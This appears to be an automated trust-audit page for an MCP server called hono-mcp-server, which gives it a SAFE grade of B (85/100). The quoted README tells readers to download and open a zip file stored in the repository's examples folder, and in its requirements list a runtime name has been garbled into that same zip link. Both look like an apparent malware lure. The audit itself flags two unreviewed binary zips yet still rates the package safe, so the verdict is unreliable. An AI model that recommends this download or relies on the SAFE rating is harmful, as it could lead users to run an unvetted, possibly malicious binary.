Atlas / MCP servers / ninjacazul / hono-mcp-server

hono-mcp-serverSAFE

Name: hono-mcp-server
Author: ninjacazul

mcp/ninjacazul/hono-mcp-server

MCP server by ninjacazul · aws · browser extension · collaboration · Audited 2026-10-11

⚑ Report / re-scan Source ↗

🔧 Expose Hono API endpoints as MCP tools, simplifying integration and enhancing your API's functionality.

Verdict

SAFE

Grade

Trust score

85 /100

Exposed tools

2 1r · 1w · 0d

Transport

streamable-http

License

MIT

Stars

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

🚀 Getting Started

Welcome to the hono-mcp-server repository! This software allows you to easily expose your Hono API endpoints as MCP tools. Follow these simple steps to download and run the application.

[](https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip)

📥 Download & Install

Visit the Releases page.
Look for the latest release. You will see a list of available files.
Download the file suitable for your operating system.
Once the file is downloaded, locate it in your downloads folder.
Open the file to start the installation.

📂 Features

Simple API Integration: Use the software with minimal configuration.
MCP Tool Registration: Easily register tools for your API endpoints.
Type-Safe Input Handling: The application ensures that input data conforms to expected formats.

⚙️ System Requirements

To run hono-mcp-server, ensure your system meets the following requirements:

Operating System: Windows, macOS, or a Linux distribution.
https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip Version 14 or newer.
Basic knowledge of using command line tools may be helpful, but not essential.

🛠️ How to Use

After installing the hono-mcp-server, you can set it up for your project. Here's a simplified way to integrate it into your existing application:

Import the Library:

Use the following code snippet to import hono and the hono-mcp-server library.

import { Hono } from "hono";
import { z } from "zod";
import { mcp, registerTool } from "hono-mcp-server";

Read from source at commit 2b96fbadc00dOBSERVED · 2026-10-11

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.

claude-code

claude mcp add hono-mcp-server -- npx -y [email protected]

claude-desktop

{
  "mcpServers": {
    "hono-mcp-server": {
      "command": "npx",
      "args": [
        "-y",
        "[email protected]"
      ]
    }
  }
}

Exposed tools (2)

1 read · 1 write · 0 destructive.

Tool	Risk	Description
`execute`	write
`search`	read

Trust audit

SAFEgrade B · trust 85/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.

Layer	What it checks	Result
L0	Provenance & inventory	PASS
L1	Static analysis of the code	PASS
L2	Instruction surface (what it tells the agent)	PASS
L3	Class-specific surface	WARN
L4	Behavioural (sandbox)	SKIPPED

What the source does

Filesystem: none-observed
Network: none-observed
Shell: none-observed
Dependencies: not all pinned
Secrets in source: none-found

Findings (15)

MEDIUMAuth / authz · mcp.remote_no_auth · CWE-287, CWE-862

streamable-http

Why it matters. a network transport with no auth environment variable found

Fix. require a token

LOWInventory / provenance · inv.binary · CWE-1104

examples/codemode/hono-mcp-server-v3.7-alpha.4.zip

hono-mcp-server-v3.7-alpha.4.zip

Why it matters. a compiled or binary member cannot be reviewed from source

Fix. ship source, or explain the binary in the README

LOWCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95

examples/basic/worker-configuration.d.ts:3269

exec(input?: string | URLPatternInit, baseURL?: string): URLPatternResult | null;

Why it matters. evaluates text as code

Fix. remove; use a parser or a dispatch table

LOWCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95

examples/basic/worker-configuration.d.ts:10417

exec(query: string): Promise<D1ExecResult>;

Why it matters. evaluates text as code

Fix. remove; use a parser or a dispatch table

LOWCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95

examples/codemode/worker-configuration.d.ts:3270

exec(input?: string | URLPatternInit, baseURL?: string): URLPatternResult | null;

Why it matters. evaluates text as code

Fix. remove; use a parser or a dispatch table

LOWCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95

examples/codemode/worker-configuration.d.ts:10418

exec(query: string): Promise<D1ExecResult>;

Why it matters. evaluates text as code

Fix. remove; use a parser or a dispatch table

LOWObfuscation / stealth · obf.decode_call · CWE-506, CWE-94

examples/basic/worker-configuration.d.ts:303

atob(data: string): string;

LOWObfuscation / stealth · obf.decode_call · CWE-506, CWE-94

examples/basic/worker-configuration.d.ts:409

declare function atob(data: string): string;

LOWObfuscation / stealth · obf.decode_call · CWE-506, CWE-94

examples/codemode/worker-configuration.d.ts:304

atob(data: string): string;

LOWObfuscation / stealth · obf.decode_call · CWE-506, CWE-94

examples/codemode/worker-configuration.d.ts:410

declare function atob(data: string): string;

LOWSupply chain · supply.unpinned · CWE-829, CWE-1357

examples/basic/package.json

hono

Why it matters. 1 dependency range(s) float

Fix. pin exact versions or ship a lockfile

LOWSupply chain · supply.unpinned · CWE-829, CWE-1357

examples/codemode/package.json

hono

Why it matters. 1 dependency range(s) float

Fix. pin exact versions or ship a lockfile

LOWSupply chain · supply.unpinned · CWE-829, CWE-1357

examples/node-server/package.json

@hono/node-server, hono, zod, tsx

Why it matters. 4 dependency range(s) float

Fix. pin exact versions or ship a lockfile

LOWSupply chain · supply.unpinned · CWE-829, CWE-1357

package.json

@modelcontextprotocol/sdk, hono, zod, oxfmt, oxlint, tsdown, typescript, vitest

Why it matters. 9 dependency range(s) float

Fix. pin exact versions or ship a lockfile

INFOInventory / provenance · inv.oversize · CWE-1104

examples/node-server/hono_server_mcp_v1.1.zip

examples/node-server/hono_server_mcp_v1.1.zip

Why it matters. 1397338 bytes not read

Gates applied: no_behavioural_pass.

Audited 2026-10-11 · audit v0.4.1 · source sha 2b96fbadc00dfull audit observations/trust-audit/mcp-server/ninjacazul__hono-mcp-server.json · Report an issue / request a re-scan

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

Date	Source	Verdict	Grade	Score	Change
2026-10-11	`2b96fbadc00d`	SAFE	B	85	first audit

Questions

What is the hono-mcp-server MCP server?

🔧 Expose Hono API endpoints as MCP tools, simplifying integration and enhancing your API's functionality.

What tools does hono-mcp-server expose?

2 in total: 1 read-only, 1 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is hono-mcp-server safe to connect to an agent?

The audit found nothing in the source that contradicts what it says it does, and graded it B (85/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.

What credentials does hono-mcp-server need?

No credential environment variables were found in its source, so it appears to need none.

How does hono-mcp-server run?

It speaks streamable-http, so it runs as a service you connect to over the network. It is published on npm as hono-mcp-server at 0.0.4.

How current is this page?

The grade is for one exact copy of the source (2b96fbadc00d), read on 2026-10-11. The repository is watched and re-audited when it changes.

Source	ninjacazul/hono-mcp-server
npm	`hono-mcp-server@0.0.4`
Transports	streamable-http
License	MIT
Activity	pushed 0d ago